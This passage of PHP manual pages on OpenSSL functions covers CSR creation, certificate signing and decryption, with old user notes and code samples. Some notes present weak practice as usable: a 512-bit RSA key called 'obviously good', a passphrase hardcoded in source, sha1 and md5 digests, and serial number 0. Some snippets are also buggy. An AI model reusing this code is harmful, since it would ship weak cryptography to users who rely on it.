  • openssl_pkcs12_export — Exports a PKCS#12 Compatible Certificate Store File to variable.
  • openssl_pkcs12_read — Parse a PKCS#12 Certificate Store into an array
  • openssl_pkcs7_decrypt — Decrypts an S/MIME encrypted message
  • openssl_pkcs7_encrypt — Encrypt an S/MIME message
  • openssl_pkcs7_sign — Sign an S/MIME message
  • openssl_pkcs7_verify — Verifies the signature of an S/MIME signed message
  • openssl_pkey_export_to_file — Gets an exportable representation of a key into a file
  • openssl_pkey_export — Gets an exportable representation of a key into a string
  • openssl_pkey_free — Frees a private key
  • openssl_pkey_get_details — Returns an array with the key details
  • openssl_pkey_get_private — Get a private key
  • openssl_pkey_get_public — Extract public key from certificate and prepare it for use
  • openssl_pkey_new — Generates a new private key
  • openssl_private_decrypt — Decrypts data with private key
  • openssl_private_encrypt — Encrypts data with private key
  • openssl_public_decrypt — Decrypts data with public key
  • openssl_public_encrypt — Encrypts data with public key
  • openssl_random_pseudo_bytes — Generate a pseudo-random string of bytes
  • openssl_seal — Seal (encrypt) data
  • openssl_sign — Generate signature
  • openssl_spki_export_challenge — Exports the challenge assoicated with a signed public key and challenge
  • openssl_spki_export — Exports a valid PEM formatted public key signed public key and challenge
  • openssl_spki_new — Generate a new signed public key and challenge
  • openssl_spki_verify — Verifies a signed public key and challenge
  • openssl_verify — Verify signature
  • openssl_x509_check_private_key — Checks if a private key corresponds to a certificate
  • openssl_x509_checkpurpose — Verifies if a certificate can be used for a particular purpose
  • openssl_x509_export_to_file — Exports a certificate to file
  • openssl_x509_export — Exports a certificate as a string
  • openssl_x509_fingerprint — Calculates the fingerprint, or digest, of a given X.509 certificate
  • openssl_x509_free — Free certificate resource
  • openssl_x509_parse — Parse an X509 certificate and return the information as an array
  • openssl_x509_read — Parse an X.509 certificate and return a resource identifier for it

User Contributed Notes

kraven at kraven dot org 11-Jan-2013 03:35
If you want to verify that a csr was generated properly from your private key you can do the following:

<?php
$countryName = "UK";
$stateOrProvinceName = "London";
$localityName = "Blah";
$organizationName = "Blah1";
$organizationalUnitName = "Blah2";
$commonName = "Joe Bloggs";
$emailAddress = "openssl@example.com";

$dn = array(
  "countryName" => $countryName,
  "stateOrProvinceName" => $stateOrProvinceName,
  "localityName" => $localityName,
  "organizationName" => $organizationName,
  "organizationalUnitName" => $organizationalUnitName,
  "commonName" => $commonName,
  "emailAddress" => $emailAddress
);

$badPriv = 'foo';

// generate a bad csr
$badCsr = openssl_csr_new($dn, $badPriv);

// generate private key
$priv = openssl_pkey_new();

// generate csr
$csr = openssl_csr_new($dn, $priv);

$badCsrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($badCsr));
$privDetails = openssl_pkey_get_details($priv);
$csrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($csr));

echo md5($badCsrDetails['rsa']['n']);
echo "\nDoes not match\n";
echo md5($privDetails['rsa']['n']);
echo "\nMatches\n";
echo md5($csrDetails['rsa']['n']);
echo "\n";
?>

This output is an md5 hash of the modulus.  The same check can be accomplished with openssl:
openssl rsa -noout -modulus -in server.key | openssl md5
openssl req -noout -modulus -in server.csr | openssl md5
rahuul at yours dot com 24-Mar-2010 08:43
for changing serial no of cert following is the solution:

<?php
$sscert = openssl_csr_sign($csr, $cacert, $privkey, $days,$config,$serial);
?>
web at mburda dot com 18-Jun-2008 06:45
There is a little problem with Matt Alexander's code below.
Both public and private key are generated internally and saved into OpenSSL class object properties but only private key is then used.
Public key is taken from an external file and if it differs from the one stored internally, OpenSSL fails to decrypt the text.
stephen_at_liberty-irm_dot_com 10-Mar-2008 12:14
This note is primarily aimed at folks storing encrypted things in MySQL as I'm unfamiliar with other database setups. If you store, for example, a credit card number that has been encrypted by openssl_public_encrypt inside of a database, the column type for the column you are storing the number in must be a blob. This is because "the result might contain arbitrary byte values" (MySQL Reference Manual). Basically, if you try to store it in a VARCHAR, LONGTEXT, etc, certain parts of the encrypted data may be dropped, truncated, etc. This will of course make the data impossible to decrypt. Hopefully this will help someone, because it had me stumped for about an hour!
jts 27-Nov-2007 11:07
Win32 users having trouble getting php_openssl to work should make sure that they replace ALL the versions of libeay32.dll and ssleay32.dll, with the ones included with PHP.  This is especially true while using Apache2 and OpenSSL together, as some OpenSSL win32 packages include older versions of these two files.
daevid at daevid dot com 20-Nov-2007 03:04
There doesn't seem to be a function here to test if a cert is valid (i.e. not corrupt)... This bash snippet should help. Sorry it's not PHP. slap it in a system(); call or make it a bash script and call it that way or something...

if [ "`openssl x509 -in /etc/certs/my.crt -noout -modulus`" = "`openssl rsa -in /etc/keys/my.key -noout -modulus`" ]; then echo "Match"; else echo "Different"; fi
kurian at net4ideas dot com 29-Oct-2007 05:01
For working of openssl in windows platform IIS webserver, we need to enable in php.ini, tne copy libeay32.dll and ssleay32.dll to the php folder (or windows's system32 folder) and add both dll's path to the window's PATH variable. It seems to be working for me after I did these changes.
mattalexx at gmail dot com 29-Aug-2007 11:16
Use this for simple public/private key encryption.

<?php

/**
 * Point to your config file
 *
 */
define("OPEN_SSL_CONF_PATH", "/usr/share/ssl/openssl.cnf");
/**
 * Length of time certificate is valid (in days)
 *
 */
define("OPEN_SSL_CERT_DAYS_VALID", 365);
/**
 * Passphrase required with private key
 *
 */
define("OPEN_SSL_PASSPHRASE", "lkdfjbjeyrasdfvkajwdeblsolkdkdjfbvzslalsmdbfvksb");
/**
 * Enter description here...
 *
 */
define("OPEN_SSL_PUBKEY_PATH", "/docs/domains/mywebsite.com/docs/key.pem"); // Public key path

/**
 * A wrapper class for a simple subset of the PHP OpenSSL functions. Use for public key encryption jobs.
 *
 * <code>
 *
 * // To configure
 * // 1. Set OPEN_SSL_CONF_PATH to the path of your openssl.cnf file.
 * // 2. Set OPEN_SSL_PASSPHRASE to any passphrase.
 * // 3. Use the OpenSSL::do_csr method to generate your private and public keys (see next section).
 * // 4. Save the private key somewhere offline and save your public key somewhere on this machine.
 * // 5. Set OPEN_SSL_PUBKEY_PATH to the public key's path.
 *
 * // To generate keys
 * $ossl = new OpenSSL;
 * $ossl->do_csr();
 * $privatekey = $ossl->privatekey;
 * $publickey = $ossl->publickey;
 * unset($ossl);
 *
 * // Encrypt
 * $text = "Secret text";
 * $ossl = new OpenSSL;
 * $ossl->encrypt($text);
 * $encrypted_text = $ossl->crypttext;
 * $ekey = $ossl->ekey;
 * unset($ossl);
 *
 * // Decrypt
 * $ossl = new OpenSSL;
 * $decrypted_text = $ossl->decrypt($encrypted_text, $privatekey, $ekey);
 * unset($ossl);
 *
 * @author Matt Alexander (mattalexx@gmail.com) [based on code by Alex Poole (php@wwwcrm.com)]
 * @copyright 2007
 *
 */
class OpenSSL {

   public $privatekey;
   public $publickey;
   public $csr;
   public $crypttext;
   public $ekey;

   public function encrypt($plain) {

      // Turn public key into resource
      $publickey = openssl_get_publickey(is_file(OPEN_SSL_PUBKEY_PATH)? file_get_contents(OPEN_SSL_PUBKEY_PATH) : OPEN_SSL_PUBKEY_PATH);

      // Encrypt
      openssl_seal($plain, $crypttext, $ekey, array($publickey));
      openssl_free_key($publickey);

      // Set values
      $this->crypttext = $crypttext;
      $this->ekey = $ekey[0];
   }

   public function decrypt($crypt, $privatekey, $ekey="") {

      // Turn private key into resource
      $privatekey = openssl_get_privatekey((is_file($privatekey)? file_get_contents($privatekey) : $privatekey), OPEN_SSL_PASSPHRASE);

      // Decrypt
      openssl_open($crypt, $plaintext, $ekey, $privatekey);
      openssl_free_key($privatekey);

      // Return value
      return $plaintext;
   }

   public function do_csr(
   $countryName = "UK",
   $stateOrProvinceName = "London",
   $localityName = "Blah",
   $organizationName = "Blah1",
   $organizationalUnitName = "Blah2",
   $commonName = "Joe Bloggs",
   $emailAddress = "openssl@domain.com"
   ) {
      $dn = array(
         "countryName" => $countryName,
         "stateOrProvinceName" => $stateOrProvinceName,
         "localityName" => $localityName,
         "organizationName" => $organizationName,
         "organizationalUnitName" => $organizationalUnitName,
         "commonName" => $commonName,
         "emailAddress" => $emailAddress
         );
      $config = array(
         "config" => OPEN_SSL_CONF_PATH
         );
      $privkey = openssl_pkey_new();
      $csr = openssl_csr_new($dn, $privkey, $config);
      $sscert = openssl_csr_sign($csr, null, $privkey, OPEN_SSL_CERT_DAYS_VALID, $config);
      openssl_x509_export($sscert, $this->publickey);
      openssl_pkey_export($privkey, $this->privatekey, OPEN_SSL_PASSPHRASE, $config);
      openssl_csr_export($csr, $this->csr);
   }

}

?>
ChronoFish 16-Aug-2007 08:17
There is a note below regarding the need to copy BOTH ssleay32.dll AND libeay32.dll to a folder in the system PATH on Win32 systems.

That is absolutely true.  It should be noted also that Windows will search the Windows system directories before it will search the PATH.  If you have existing .dlls in these directories - rename (rather than deleting in case you need to undo your changes) them and copy over the latest version of these files.

Key locations may include the /i386, /windows/system32, and ~/apache/.../modules directories.

I also updated my ~/subversion/bin directory.

-CF
igor dot gorshkov at gmail dot com 27-Apr-2007 02:31
I generate certificates in such a way.

$config = array("config" => "d:/sslcert/openssl.cnf");
$dn = array(
   "countryName" => "RU",
   "stateOrProvinceName" => "Russia",
   "localityName" => "Saint-Petersburg",
   "organizationName" => "temp",
   "organizationalUnitName" => "temp",
   "commonName" => "temp",
   "emailAddress" => "temp@temp.com"
);
$privkey_enc = openssl_pkey_new($config);
$csr = openssl_csr_new($dn, $privkey_enc, $config);
$sscert = openssl_csr_sign($csr, null, $privkey_enc, 365);
openssl_x509_export_to_file($sscert, "d:/cert_enc.crt");
openssl_pkey_export_to_file($privkey_enc, "d:/privkey_enc.pem");

As a result all the received certificates have identical serial number (00). But it should not be! How to avoid it?
dan -AT- NOSPAM danschafer DOT netTT 29-Mar-2007 07:58
Currently, all OpenSSL Functions defined in PHP only utilize the PEM format.  Use the following code to convert from DER to PEM and PEM to DER.

<?php
$pem_data = file_get_contents($cert_path.$pem_file);
$pem2der = pem2der($pem_data);

$der_data = file_get_contents($cert_path.$der_file);
$der2pem = der2pem($der_data);

function pem2der($pem_data) {
   $begin = "CERTIFICATE-----";
   $end   = "-----END";
   $pem_data = substr($pem_data, strpos($pem_data, $begin)+strlen($begin));
   $pem_data = substr($pem_data, 0, strpos($pem_data, $end));
   $der = base64_decode($pem_data);
   return $der;
}

function der2pem($der_data) {
   $pem = chunk_split(base64_encode($der_data), 64, "\n");
   $pem = "-----BEGIN CERTIFICATE-----\n".$pem."-----END CERTIFICATE-----\n";
   return $pem;
}
?>
Richard Ablewhite 04-Dec-2006 11:23
Windows users be warned that you need the following file in system32:

msvcr71.dll

It has to go in system32, is not picked up from php/dlls
yabba dabba 26-Jul-2006 08:23
The php4 distribution for Windows/IIS has a README-SSL.txt which strongly implies that just the path needs to be added to the OPENSLL_CONF variable in the server's environment variables. Be sure to add the file name and extension too.

E.g.: c:\php-4.3.11\openssl\openssl.cnf
peter dot mescalchin @ geemail dot com 16-May-2006 10:34
For w32 users to enable OpenSSL support. As well as copying "libeay32.dll" to the windows system32 folder you also need to copy "ssleay32.dll".  The documentation above should probably be updated to note this.

This requirement was documented at the libcurl pages:

http://curl.haxx.se/libcurl/php/install.html#windows
php ~at~ wwwcrm dot komm 16-Nov-2005 05:47
If you want to use PHP for public / private key encryption jobs without needing to know the ins and outs of the Open SSL extension, the following may be of interest:

http://www.karenandalex.com/php_stuff/_class_OpenSSL.phps

This class was unavailable for a long while (server problems) but is now back up. Apologies to those who clicked through and got a 404

I hope it is useful to you...

Alex
beckman at purplecow dot com 08-Nov-2005 09:07
FreeBSD Ports tree php5-openssl uses openssl-0.9.8a.  This is a problem, as if you install these two ports and attempt to open an HTTPS URL within PHP, it will fail with this error from openssl_error_string(): error:140A90A1:SSL routines:func(169):reason(161) which is SSL_R_LIBRARY_HAS_NO_CIPHERS or "library has no ciphers"

This is because the openssl library now requires you to load your ciphers manually -- all ciphers are not automatically loaded for you.

I don't believe the php5-openssl module has been updated to do this before opening an SSL connection (as of 5.0.5).

Using openssl-0.9.7i seems to work; symlinking libcrypto.so.3 to libcrypto.so.4 prevents the php5-openssl port from trying to install openssl-0.9.8a.  So install openssl-stable (0.9.7i) from ports first, symlink 2nd, then install php5-openssl 3rd, and you should be OK.
matt at NOSPAMopenflowsPLEASE dot org 08-Nov-2005 07:42
The openssl functions were disabled in Debian release 3.0 (woody), but as of release 3.1 (sarge) they're available again.
greensweater 31-Aug-2005 01:21
Sorry, the code in my previous note doesn't work... the last line should read:

$csr = openssl_csr_new(array('commonName'=>'MyCSR'),$pkey,$config);
greensweater 30-Aug-2005 06:54
"You need to have a valid openssl.cnf installed for this function to operate correctly" includes most openssl functions. You can force php to find your openssl.cnf file as follows:

$config = array('config'=>'/path/to/openssl.cnf');
$pkey = openssl_pkey_new($config);
$csr = openssl_csr_new('MyCSR',$pkey,$config);
skippy zuavra net 20-Oct-2004 02:38
In case you're wondering what's a "correctly hashed" directory for the use with cainfo: it's simply a directory which contains CA public certificates in PEM/X.509 format. You can get such certificates either from the CA's website (they advertise it in visible places) or from your browser. In Explorer for instance you can click on the little yellow padlock, go to the CA entry and export it.

The only trick with the directory is that file names must be in the form "hash.#". The "hash" part is the 8-digit hex hash of the certificate, while the # part is a number which serves to differentiate certificates which give the same hash (yes, it can happen with certificates coming from the same CA). Usually # is 0, but you also can use 1, 2 and so on when having more certs with the same hash.

In order to obtain the hash of a certificate you can use the openssl command line utility like this:

openssl x509 -hash -in certfile.cer | head -1
jaz at ensn dot net 16-Sep-2004 08:18
For newbies (as me):
If you want to try at home on win32, you can learn how to install apache+ssl on this url: http://tud.at/programm/apache-ssl-win32-howto.php3

Versions on English, Spanish and French.

Just I have read and install and run perfectly.
norman at rasmussen dot org 02-Feb-2004 07:43
Debian maintainers have disabled the openssl support because it seems to help break apache on startup.  (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193343 and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=165699)

- Norman


Gets the cipher iv length

  • « OpenSSL Functions
  • openssl_csr_export_to_file »
  • PHP Manual
  • OpenSSL Functions
  • Gets the cipher iv length

openssl_cipher_iv_length

(PHP 5 >= PHP 5.3.3)

openssl_cipher_iv_length — Gets the cipher iv length

Description

int openssl_cipher_iv_length ( string $method )

Gets the cipher initialization vector (iv) length.

Parameters

method

The cipher method, see openssl_get_cipher_methods() for a list of potential values.

Return Values

Returns the cipher length on success, or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error when the cipher algorithm is unknown.

Examples

Example #1 openssl_cipher_iv_length() example

<?php
$method = 'AES-128-CBC';
$ivlen = openssl_cipher_iv_length($method);

echo $ivlen;
?>

The above example will output something similar to:

16

User Contributed Notes

There are no user contributed notes for this page.


Exports a CSR to a file

  • « openssl_cipher_iv_length
  • openssl_csr_export »
  • PHP Manual
  • OpenSSL Functions
  • Exports a CSR to a file

openssl_csr_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_export_to_file — Exports a CSR to a file

Description

bool openssl_csr_export_to_file ( resource $csr , string $outfilename [, bool $notext = true ] )

openssl_csr_export_to_file() takes the Certificate Signing Request represented by csr and saves it as ascii-armoured text into the file named by outfilename.

Parameters

csr

outfilename

Path to the output file.

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_csr_export() - Exports a CSR as a string
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

There are no user contributed notes for this page.


Exports a CSR as a string

  • « openssl_csr_export_to_file
  • openssl_csr_get_public_key »
  • PHP Manual
  • OpenSSL Functions
  • Exports a CSR as a string

openssl_csr_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_export — Exports a CSR as a string

Description

bool openssl_csr_export ( resource $csr , string &$out [, bool $notext = true ] )

openssl_csr_export() takes the Certificate Signing Request represented by csr and stores it as ascii-armoured text into out, which is passed by reference.

Parameters

csr

out

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_csr_export_to_file() - Exports a CSR to a file
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

carlos AT wfmh DOT org DOT pl 27-Jun-2002 04:44
Here you come with the example of how to use this function.

if( $csr = openssl_csr_new( array(
     "countryName"=>"PL",
     "stateOrProvinceName" => "blah",
     "organizationName" => "company ltd",
     "commonName"=>"foo.bar.com",
     "Email"=>"blah@foo.bar.com"), $privkey )
                  )
   {
   openssl_csr_export_to_file( $csr, "out.csr");
   }
else
   {
   printf("failed\n");
   }

Keep in mind that keys are case sensitive (i.e. give "email" instead of "Email" and you get warning). Also remember it's important to keep the order of the arguments in array. Move the "Email" above commonName and check what you get (in case you don't know how: "openssl req -noout -text -in out.csr").

It also happened to me me I got segfault when order was rubbish (afair Email after countryName, or plenty Email's here and there), so be awared.


Returns the public key of a CERT

  • « openssl_csr_export
  • openssl_csr_get_subject »
  • PHP Manual
  • OpenSSL Functions
  • Returns the public key of a CERT

openssl_csr_get_public_key

(PHP 5 >= 5.2.0)

openssl_csr_get_public_key — Returns the public key of a CERT

Description

resource openssl_csr_get_public_key ( mixed $csr [, bool $use_shortnames = true ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

php at siemenroorda dot nl 29-Sep-2009 04:44
Function openssl_pkey_get_details can read this resource. Try:

<?php
  print_r(openssl_pkey_get_details(openssl_csr_get_public_key($csr)));
?>


Returns the subject of a CERT

  • « openssl_csr_get_public_key
  • openssl_csr_new »
  • PHP Manual
  • OpenSSL Functions
  • Returns the subject of a CERT

openssl_csr_get_subject

(PHP 5 >= 5.2.0)

openssl_csr_get_subject — Returns the subject of a CERT

Description

array openssl_csr_get_subject ( mixed $csr [, bool $use_shortnames = true ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

mikko koivu 21-Jul-2010 06:10
this function does not yet return SANs (subject alternative names) fields for UC certificates like those used in exchange 2007.
stephan[at]strato-rz[dot]de 21-Jan-2009 10:13
The returning assoziative array is indexed with the fields
in the subject so you should have a array key named CN,OU and so on.


Generates a CSR

  • « openssl_csr_get_subject
  • openssl_csr_sign »
  • PHP Manual
  • OpenSSL Functions
  • Generates a CSR

openssl_csr_new

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_new — Generates a CSR

Description

mixed openssl_csr_new ( array $dn , resource &$privkey [, array $configargs [, array $extraattribs ]] )

openssl_csr_new() generates a new CSR (Certificate Signing Request) based on the information provided by dn, which represents the Distinguished Name to be used in the certificate.

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

dn

The Distinguished Name to be used in the certificate.

privkey

privkey should be set to a private key that was previously generated by openssl_pkey_new() (or otherwise obtained from the other openssl_pkey family of functions). The corresponding public portion of the key will be used to sign the CSR.

configargs

By default, the information in your system openssl.conf is used to initialize the request; you can specify a configuration file section by setting the config_section_section key of configargs. You can also specify an alternative openssl configuration file by setting the value of the config key to the path of the file you want to use. The following keys, if present in configargs behave as their equivalents in the openssl.conf, as listed in the table below.

Configuration overrides
configargs key | type | openssl.conf equivalent | description
digest_alg | string | default_md | Selects which digest method to use
x509_extensions | string | x509_extensions | Selects which extensions should be used when creating an x509 certificate
req_extensions | string | req_extensions | Selects which extensions should be used when creating a CSR
private_key_bits | integer | default_bits | Specifies how many bits should be used to generate a private key
private_key_type | integer | none | Specifies the type of private key to create. This can be one of OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH or OPENSSL_KEYTYPE_RSA. The default value is OPENSSL_KEYTYPE_RSA which is currently the only supported key type.
encrypt_key | boolean | encrypt_key | Should an exported key (with passphrase) be encrypted?
encrypt_key_cipher | integer | none | One of cipher constants.

extraattribs

extraattribs is used to specify additional configuration options for the CSR. Both dn and extraattribs are associative arrays whose keys are converted to OIDs and applied to the relevant part of the request.

Return Values

Returns the CSR.

Examples

Example #1 Creating a self-signed-certificate

<?php
// Fill in data for the distinguished name to be used in the cert
// You must change the values of these keys to match your name and
// company, or more precisely, the name and company of the person/site
// that you are generating the certificate for.
// For SSL certificates, the commonName is usually the domain name of
// that will be using the certificate, but for S/MIME certificates,
// the commonName will be the name of the individual who will use the
// certificate.
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate a new private (and public) key pair
$privkey = openssl_pkey_new();

// Generate a certificate signing request
$csr = openssl_csr_new($dn, $privkey);

// You will usually want to create a self-signed certificate at this
// point until your CA fulfills your request.
// This creates a self-signed cert that is valid for 365 days
$sscert = openssl_csr_sign($csr, null, $privkey, 365);

// Now you will want to preserve your private key, CSR and self-signed
// cert so that they can be installed into your web server, mail server
// or mail client (depending on the intended use of the certificate).
// This example shows how to get those things into variables, but you
// can also store them directly into files.
// Typically, you will send the CSR on to your CA who will then issue
// you with the "real" certificate.
openssl_csr_export($csr, $csrout) and var_dump($csrout);
openssl_x509_export($sscert, $certout) and var_dump($certout);
openssl_pkey_export($privkey, $pkeyout, "mypassword") and var_dump($pkeyout);

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

User Contributed Notes

Richard Lynch 18-Jul-2013 12:49
There appears to be no openssl_csr_free function.

At least not here.

If it's in the source, one might be able to just call it.

If it's not in the source, it probably should be.
The_Lost_One 18-Sep-2009 04:45
Not sure whether the "bug" (undocumented behavior) I encountered is common to other people, but this comment might save hours of painful debug:
If you can't generate a new private key using openssl_pkey_new() or openssl_csr_new(), your script hangs during the call of these functions and in case you specified a "private_key_bits" parameter, ensure that you cast the variable to an int. Took me ages to notice that.

<?php
$SSLcnf = array('config' => '/usr/local/nessy2/share/ssl/openssl.cnf',
        'encrypt_key' => true,
        'private_key_type' => OPENSSL_KEYTYPE_RSA,
        'digest_alg' => 'sha1',
        'x509_extensions' => 'v3_ca',
        'private_key_bits' => $someVariable // ---> bad
        'private_key_bits' => (int)$someVariable // ---> good
        'private_key_bits' => 512 // ---> obviously good
        );
?>
main ATT jokester DOTT fr 02-Sep-2008 05:09
To set the "basicConstraints" to  "critical,CA:TRUE", you have to define configargs, but in the openssl_csr_sign() function !

That's my example of code to sign a "child" certificate :

$CAcrt = "file://ca.crt";
$CAkey = array("file://ca.key", "myPassWord");

$clientKeys = openssl_pkey_new();
$dn = array(
    "countryName" => "FR",
    "stateOrProvinceName" => "Finistere",
    "localityName" => "Plouzane",
    "organizationName" => "Ecole Nationale d'Ingenieurs de Brest",
    "organizationalUnitName" => "Enib Students",
    "commonName" => "www.enib.fr",
    "emailAddress" => "ilovessl@php.net"
);
$csr = openssl_csr_new($dn, $clientPrivKey);

$configArgs = array("x509_extensions" => "v3_req");
$cert = openssl_csr_sign($csr, $CAcrt, $CAkey, 100, $configArgs);

openssl_x509_export_to_file($cert, "childCert.crt");

Then if you want to add some more options, you can edit the "/etc/ssl/openssl.cnf" ssl config' file (debian path), and add these after the [ v3_req ] tag.
dylan at pow7 dot com 05-Jul-2007 02:45
Is there some way to change the distinguished name using this function? I have tried adding overrides to the dn to configargs and extraattribs but this did not have an impact on the certificate.

Example: A CSR is submitted and I want to change only the commonName (CN) before signing the certificate.
gonzak at op dot pl 14-Feb-2006 07:57
How in openssl_csr_new  usign [, array configargs [, array extraattribs]]
because I am have add this extension to certificate
/********************
basicConstraints = critical,CA:TRUE,pathlen:0
nsCertType = sslCA,emailCA,objCA
**********************************/

Rafal
24-Jun-2005 09:34
If you get the error:

error:0D11A086:asn1 encoding routines:ASN1_mbstring_copy:string too short

then look at your key:value pairs in the $dn (distinguished name) array.

If you have one value (like "organizationalUnitName" = "") set to an empty string, it will throw the above error.

Fix the error by either eliminating that array element from $dn completely, or using a space " " instead of an empty string.
robertliu AT wiscore DOT com 13-May-2005 05:12
I am using PHP-4.3.11.
The type of configargs--private_key_bits is a INTEGER, not a string.
An example of configration:
<?php
$config = array(
  "digest_alg" => "sha1",
  "private_key_bits" => 2048,
  "private_key_type" => OPENSSL_KEYTYPE_DSA,
  "encrypt_key" => false
);
?>
dankybastard at hotmail 09-Feb-2005 03:31
As you probably guessed from the example, the documentation is misinforming.  openssl_csr_new returns a CSR resource or FALSE on failure.

mixed openssl_csr_new (assoc_array dn, resource_privkey, [...])


Sign a CSR with another certificate (or itself) and generate a certificate

  • « openssl_csr_new
  • openssl_decrypt »
  • PHP Manual
  • OpenSSL Functions
  • Sign a CSR with another certificate (or itself) and generate a certificate

openssl_csr_sign

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_sign — Sign a CSR with another certificate (or itself) and generate a certificate

Description

resource openssl_csr_sign ( mixed $csr , mixed $cacert , mixed $priv_key , int $days [, array $configargs [, int $serial = 0 ]] )

openssl_csr_sign() generates an x509 certificate resource from the given CSR.

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

csr

A CSR previously generated by openssl_csr_new(). It can also be the path to a PEM encoded CSR when specified as file://path/to/csr or an exported string generated by openssl_csr_export().

cacert

The generated certificate will be signed by cacert. If cacert is NULL, the generated certificate will be a self-signed certificate.

priv_key

priv_key is the private key that corresponds to cacert.

days

days specifies the length of time for which the generated certificate will be valid, in days.

configargs

You can finetune the CSR signing by configargs. See openssl_csr_new() for more information about configargs.

serial

An optional the serial number of issued certificate. If not specified it will default to 0.

Return Values

Returns an x509 certificate resource on success, FALSE on failure.

Examples

Example #1 openssl_csr_sign() example - signing a CSR (how to implement your own CA)

<?php
// Let's assume that this script is set to receive a CSR that has
// been pasted into a textarea from another page
$csrdata = $_POST["CSR"];

// We will sign the request using our own "certificate authority"
// certificate.  You can use any certificate to sign another, but
// the process is worthless unless the signing certificate is trusted
// by the software/users that will deal with the newly signed certificate

// We need our CA cert and its private key
$cacert = "file://path/to/ca.crt";
$privkey = array("file://path/to/ca.key", "your_ca_key_passphrase");

$usercert = openssl_csr_sign($csrdata, $cacert, $privkey, 365);

// Now display the generated certificate so that the user can
// copy and paste it into their local configuration (such as a file
// to hold the certificate for their SSL server)
openssl_x509_export($usercert, $certout);
echo $certout;

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

User Contributed Notes

Kai Sellgren 20-Feb-2009 08:05
You can use file_get_contents() to directly pass the content instead of giving file paths.

Also, if you get an error "sec_error_reused_issuer_and_serial", put a serial into the last parameter:

<?php

$privkey = array(file_get_contents('ca.key'),"your_ca_key_passphrase");
$usercert = openssl_csr_sign($csrdata, file_get_contents('ca.crt'),$privkey,365,NULL,'06');
openssl_x509_export($usercert,$certout);
file_put_contents('serverCASigned.crt',$certout);

?>

In that above example the serial was "06".
thomas dot lussnig at bewegungsmelder dot de 11-Jul-2002 05:34
Here is an sample how to create valid X.509 Public and Private Key (cert/key).
When not using self signed the 4.2.1 segault. You need the CVS code at least for openssl.

<?
Header("Content-Type: text/plain");
$CA_CERT = "CA.cert.pem";
$CA_KEY  = "CA.key.pem";
$req_key = openssl_pkey_new();
if(openssl_pkey_export ($req_key, $out_key)) {
        $dn = array(
                "countryName"            => "DE",
                "stateOrProvinceName"    => "Frankfurt",
                "organizationName"       => "smcc.net",
                "organizationalUnitName" => "E-Mail",
                "commonName"             => "Testcert"
                );
        $req_csr  = openssl_csr_new ($dn, $req_key);
        $req_cert = openssl_csr_sign($req_csr, "file://$CA_CERT", "file://$CA_KEY", 365);
        if(openssl_x509_export ($req_cert, $out_cert)) {
                echo "$out_key\n";
                echo "$out_cert\n";
                }
        else    echo "Failed Cert\n";
        }
else            echo "FailedKey\n";
?>
eric at ypass dot net 14-Jun-2002 01:13
To generate a self-signed certificate, pass NULL as the signing certificate (2nd parameter).  For example:

$req_key = openssl_pkey_new();
$dn = array(
    "countryName" => "US",
    "stateOrProvinceName" => "Colorado",
    "organizationName" => "yPass.net",
    "organizationalUnitName" => "yPass.net",
    "commonName" => "yPass.net Root Certificate"
);
$req_csr = openssl_csr_new($dn, $req_key);
$req_cert = openssl_csr_sign($req_csr, NULL, $req_key, 365);


Decrypts data

  • « openssl_csr_sign
  • openssl_dh_compute_key »
  • PHP Manual
  • OpenSSL Functions
  • Decrypts data

openssl_decrypt

(PHP 5 >= 5.3.0)

openssl_decrypt — Decrypts data

Description

string openssl_decrypt ( string $data , string $method , string $password [, int $options = 0 [, string $iv = "" ]] )

Takes a raw or base64 encoded string and decrypts it using a given method and key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

The data.

method

The cipher method.

password

The password.

options

options can be one of OPENSSL_RAW_DATA, OPENSSL_ZERO_PADDING.

iv

A non-NULL Initialization Vector.

Return Values

The decrypted string on success or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown cipher algorithm is passed via the method parameter.

Emits an E_WARNING level error if an empty value is passed in via the iv parameter.

Changelog

Version | Description
5.3.3 | The iv parameter was added.
5.4.0 | The raw_output was changed to options.

See Also

  • openssl_encrypt() - Encrypts data

User Contributed Notes

Anonymous 20-Apr-2014 01:33
If your using windows os, do not use the text inside the "file previewer" pane, as this is a truncated version of the actual encrypted string.

Instead, you need to open the file directly and use the contents there.

The error message I had been getting was:
"error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length"
ittasks at gmail dot com 03-Apr-2013 09:02
in case that hosting do not provide openssl_encrypt decrypt functions - it could be mimiced via commad prompt executions
this functions will check is if openssl is installed and try to use it by default

function sslPrm()
{
 return array("your_password","IV (optional)","aes-128-cbc");
}
function sslEnc($msg)
{
